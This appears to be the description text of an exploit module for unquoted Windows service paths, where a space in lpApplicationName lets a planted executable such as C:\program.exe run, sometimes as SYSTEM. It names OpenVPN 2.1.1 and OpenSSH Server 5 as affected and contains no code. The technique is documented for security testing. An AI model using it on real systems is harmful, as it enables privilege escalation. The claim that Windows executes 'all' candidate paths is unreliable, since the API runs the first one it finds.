				This module exploits a logic flaw due to how the lpApplicationName parameter
				is handled.  When the lpApplicationName contains a space, the file name is
				ambiguous.  Take this file path as example: C:\program files\hello.exe;
				The Windows API will try to interpret this as two possible paths:
				C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
				To some software developers, this is an unexpected behavior, which becomes a
				security problem if an attacker is able to place a malicious executable in one
				of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
				Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the
				same problem.
